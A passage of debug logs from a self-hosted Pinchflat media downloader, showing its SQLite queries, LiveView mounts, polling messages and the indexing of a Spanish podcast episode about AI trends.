NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 22:37:25.558 [debug] Replied in 2ms 22:37:25.559 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9", "media_state" => "downloaded", "source_id" => 5} 22:37:25.559 [debug] QUERY OK source="sources" db=0.5ms idle=360.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:37:25.561 [debug] QUERY OK source="media_items" db=1.2ms idle=360.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 22:37:25.562 [debug] QUERY OK source="media_items" db=0.6ms queue=0.3ms idle=5.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 22:37:25.562 [debug] Replied in 3ms 22:37:25.564 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9", "media_state" => "other", "source_id" => 5} 22:37:25.564 [debug] QUERY OK source="sources" db=0.5ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:37:25.565 [debug] QUERY OK source="media_items" db=0.4ms idle=6.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [5] 22:37:25.566 [debug] QUERY OK source="media_items" db=0.5ms queue=0.2ms idle=5.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 22:37:25.566 [debug] Replied in 2ms 22:37:25.567 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9"} 22:37:25.567 [debug] Replied in 54µs 22:37:26.496 [debug] Current batch of media processed. Will check again in 1000ms 22:37:26.554 [debug] Current batch of media processed. Will check again in 1000ms 22:37:27.497 [debug] Current batch of media processed. Will check again in 1000ms 22:37:27.555 [debug] Current batch of media processed. Will check again in 1000ms 22:37:27.985 [info] GET /sources 22:37:27.985 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 22:37:27.986 [debug] QUERY OK source="settings" db=0.3ms queue=0.3ms idle=1222.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:37:27.986 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1223.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:37:27.987 [debug] QUERY OK source="settings" db=0.4ms idle=1224.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:37:27.988 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1225.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:37:27.989 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=254.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:37:27.991 [debug] QUERY OK source="sources" db=1.7ms queue=0.3ms idle=3.4ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 22:37:27.994 [debug] QUERY OK source="sources" db=2.1ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 22:37:27.996 [info] Sent 200 in 11ms 22:37:28.238 [info] CONNECTED TO Phoenix.LiveView.Socket in 24µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "KX40GWA1Pk8yJzUhMAEJHxkQJHYOCxgKQMFmXGm-wjvHZ3JvJOj7xLT3", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.javi.fr/assets/app-ec454b024a27f3bffb6e1a52ff1601c2.css?vsn=d", "1" => "https://pinchflat.javi.fr/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:37:28.295 [debug] MOUNT PinchflatWeb.Sources.SourceLive.IndexTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9", "initial_sort_direction" => :asc, "initial_sort_key" => :custom_name, "results_per_page" => 10} 22:37:28.298 [debug] QUERY OK source="sources" db=1.8ms idle=308.3ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 22:37:28.300 [debug] QUERY OK source="sources" db=2.1ms idle=309.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 22:37:28.300 [debug] Replied in 5ms 22:37:28.303 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9"} 22:37:28.303 [debug] Replied in 58µs 22:37:28.498 [debug] Current batch of media processed. Will check again in 1000ms 22:37:28.556 [debug] Current batch of media processed. Will check again in 1000ms 22:37:29.499 [debug] Current batch of media processed. Will check again in 1000ms 22:37:29.557 [debug] Current batch of media processed. Will check again in 1000ms 22:37:30.500 [debug] Current batch of media processed. Will check again in 1000ms 22:37:30.558 [debug] Current batch of media processed. Will check again in 1000ms 22:37:31.501 [debug] Current batch of media processed. Will check again in 1000ms 22:37:31.559 [debug] Current batch of media processed. Will check again in 1000ms 22:37:32.502 [debug] Current batch of media processed. Will check again in 1000ms 22:37:32.560 [debug] Current batch of media processed. Will check again in 1000ms 22:37:33.503 [debug] Current batch of media processed. Will check again in 1000ms 22:37:33.561 [debug] Current batch of media processed. Will check again in 1000ms 22:37:34.504 [debug] Current batch of media processed. Will check again in 1000ms 22:37:34.562 [debug] Current batch of media processed. Will check again in 1000ms 22:37:35.505 [debug] Current batch of media processed. Will check again in 1000ms 22:37:35.563 [debug] Current batch of media processed. Will check again in 1000ms 22:37:36.506 [debug] Current batch of media processed. Will check again in 1000ms 22:37:36.564 [debug] Current batch of media processed. Will check again in 1000ms 22:37:37.507 [debug] Current batch of media processed. Will check again in 1000ms 22:37:37.565 [debug] Current batch of media processed. Will check again in 1000ms 22:37:38.508 [debug] Current batch of media processed. Will check again in 1000ms 22:37:38.566 [debug] Current batch of media processed. Will check again in 1000ms 22:37:39.509 [debug] Current batch of media processed. Will check again in 1000ms 22:37:39.571 [debug] Current batch of media processed. Will check again in 1000ms 22:37:40.510 [debug] Current batch of media processed. Will check again in 1000ms 22:37:40.572 [debug] Current batch of media processed. Will check again in 1000ms 22:37:41.511 [debug] Current batch of media processed. Will check again in 1000ms 22:37:41.573 [debug] Current batch of media processed. Will check again in 1000ms 22:37:42.512 [debug] Current batch of media processed. Will check again in 1000ms 22:37:42.574 [debug] Current batch of media processed. Will check again in 1000ms 22:37:43.513 [debug] Current batch of media processed. Will check again in 1000ms 22:37:43.575 [debug] Current batch of media processed. Will check again in 1000ms 22:37:44.514 [debug] Current batch of media processed. Will check again in 1000ms 22:37:44.576 [debug] Current batch of media processed. Will check again in 1000ms 22:37:45.515 [debug] Current batch of media processed. Will check again in 1000ms 22:37:45.577 [debug] Current batch of media processed. Will check again in 1000ms 22:37:46.516 [debug] Current batch of media processed. Will check again in 1000ms 22:37:46.578 [debug] Current batch of media processed. Will check again in 1000ms 22:37:47.517 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#IAMIQUE 👉🏼 Episodio 3️⃣: Tendencias📈 \n\nYa tenías ganas de nuestra cita del viernes verdad? hoy vamos a hablar de \"Tendencias\" es decir os vamos a adelantar cosas de las que se va a hablar, mas.... mucho más.\n\nDe todo esto ya se habla, pero intentamos deciros cosas de las que se va a hablar telediarios, redes sociales, cafés en el curro y cenas familiares no por ser sueños futuristas sino tecnologías aterrizadas, en despliegue y uso.\n\nPara que te va a valer este video? la gran pregunta que nos hacemos y titulo de esta iniciativa: ¿ IA Mi Qué ? .... Pues mira, te queremos poner en guardia, sobre ciertas tendencias que pueden afectar a tu sector y sobre todo para que entiendas que muchas cosas que hoy suenan a lejos... se materializaran durante este año, así que tienes que estar atento, tanto a las tendencias tecnológicas, como sobre todo a las biotecnológicas.\n\nBueno deja de leer lo importante es que veas el video un favorcillo🙏🏼: \n👐🏼 Compartir para darnos visibilidad\n✍🏼 Comentar y dar feedback para que podamos saber tu opinión y mejorar\n🫶🏼 Darnos un like (o no)\n🫵🏼 Contamos contigo", "duration" => 718, "filename" => "/downloads/music/IA mí QUÉ/EP.3 - Tendencias 2025.m4a", "id" => "TBP_kLfxkfU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=TBP_kLfxkfU", "playlist_index" => 47, "timestamp" => 1742548853, "title" => "EP.3 - Tendencias 2025", "upload_date" => "20250321"} 22:37:47.518 [debug] QUERY OK source="sources" db=0.5ms idle=1755.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:37:47.519 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1756.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:37:47.520 [debug] QUERY OK source="media_items" db=0.6ms idle=1757.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-21 09:20:53Z], 2] 22:37:47.522 [debug] QUERY OK source="media_items" db=1.2ms idle=1753.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#IAMIQUE 👉🏼 Episodio 3️⃣: Tendencias📈 \n\nYa tenías ganas de nuestra cita del viernes verdad? hoy vamos a hablar de \"Tendencias\" es decir os vamos a adelantar cosas de las que se va a hablar, mas.... mucho más.\n\nDe todo esto ya se habla, pero intentamos deciros cosas de las que se va a hablar telediarios, redes sociales, cafés en el curro y cenas familiares no por ser sueños futuristas sino tecnologías aterrizadas, en despliegue y uso.\n\nPara que te va a valer este video? la gran pregunta que nos hacemos y titulo de esta iniciativa: ¿ IA Mi Qué ? .... Pues mira, te queremos poner en guardia, sobre ciertas tendencias que pueden afectar a tu sector y sobre todo para que entiendas que muchas cosas que hoy suenan a lejos... se materializaran durante este año, así que tienes que estar atento, tanto a las tendencias tecnológicas, como sobre todo a las biotecnológicas.\n\nBueno deja de leer lo importante es que veas el video un favorcillo🙏🏼: \n👐🏼 Compartir para darnos visibilidad\n✍🏼 Comentar y dar feedback para que podamos saber tu opinión y mejorar\n🫶🏼 Darnos un like (o no)\n🫵🏼 Contamos contigo", "EP.3 - Tendencias 2025", "ceb39d88-efbd-4038-ae4f-2f485d31397c", 718, false, "TBP_kLfxkfU", "https://www.youtube.com/watch?v=TBP_kLfxkfU", 47, "/downloads/music/IA mí QUÉ/EP.3 - Tendencias 2025.m4a", false, false, false, 2, [], 90, ~U[2025-03-21 09:20:53Z], ~U[2026-02-07 21:37:47Z], ~U[2026-02-07 21:37:47Z], "#IAMIQUE 👉🏼 Episodio 3️⃣: Tendencias📈 \n\nYa tenías ganas de nuestra cita del viernes verdad? hoy vamos a hablar de \"Tendencias\" es decir os vamos a adelantar cosas de las que se va a hablar, mas.... mucho más.\n\nDe todo esto ya se habla, pero intentamos deciros cosas de las que se va a hablar telediarios, redes sociales, cafés en el curro y cenas familiares no por ser sueños futuristas sino tecnologías aterrizadas, en despliegue y uso.\n\nPara que te va a valer este video? la gran pregunta que nos hacemos y titulo de esta iniciativa: ¿ IA Mi Qué ? .... Pues mira, te queremos poner en guardia, sobre ciertas tendencias que pueden afectar a tu sector y sobre todo para que entiendas que muchas cosas que hoy suenan a lejos... se materializaran durante este año, así que tienes que estar atento, tanto a las tendencias tecnológicas, como sobre todo a las biotecnológicas.\n\nBueno deja de leer lo importante es que veas el video un favorcillo🙏🏼: \n👐🏼 Compartir para darnos visibilidad\n✍🏼 Comentar y dar feedback para que podamos saber tu opinión y mejorar\n🫶🏼 Darnos un like (o no)\n🫵🏼 Contamos contigo", "EP.3 - Tendencias 2025", 718, false, "TBP_kLfxkfU", "https://www.youtube.com/watch?v=TBP_kLfxkfU", "/downloads/music/IA mí QUÉ/EP.3 - Tendencias 2025.m4a", false, 2, ~U[2025-03-21 09:20:53Z]] 22:37:47.523 [debug] QUERY OK source="sources" db=0.6ms idle=754.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:37:47.524 [debug] QUERY 